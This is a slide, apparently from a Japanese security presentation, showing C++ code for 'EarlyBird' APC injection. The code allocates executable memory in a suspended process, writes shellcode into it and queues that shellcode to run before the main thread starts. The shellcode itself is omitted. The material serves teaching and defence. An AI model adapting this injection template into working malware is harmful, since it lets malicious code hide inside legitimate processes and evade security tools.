Slide 93
Slide 93 text
APC Injection (EarlyBird)のコード
APCキューを利⽤してメインスレッド実⾏前に任意のコードを挿⼊する
BYTE shellcode[] ="(省略)";
STARTUPINFOA si{};
PROCESS_INFORMATION pi{};
//[1] 新規に正規のプロセスを作成する。その際メインスレッドをサスペンド状態で作成する。
CreateProcessA(nullptr, argv[1], nullptr, nullptr, FALSE,
CREATE_SUSPENDED, nullptr, nullptr, &si, &pi));
//[2] シェルコードを書き込むためのバッファ(メモリ)を正規プロセス側に確保する
lpBuffer = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode),
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//[3] 確保したバッファにシェルコードを書き込む
WriteProcessMemory(pi.hProcess, lpBuffer, shellcode,
sizeof(shellcode), NULL);
//[4] サスペンド状態のスレッドのAPCキューにシェルコードのアドレスを⼊れる
PTHREAD_START_ROUTINE apcRoutine =(PTHREAD_START_ROUTINE)lpBuffer;
QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL);
//[5] 対象スレッドのサスペンド状態を解除する(スレッドを再開する)
ResumeThread(pi.hThread);
04_apcinjection.cpp
主要なコードはたったこれだけ!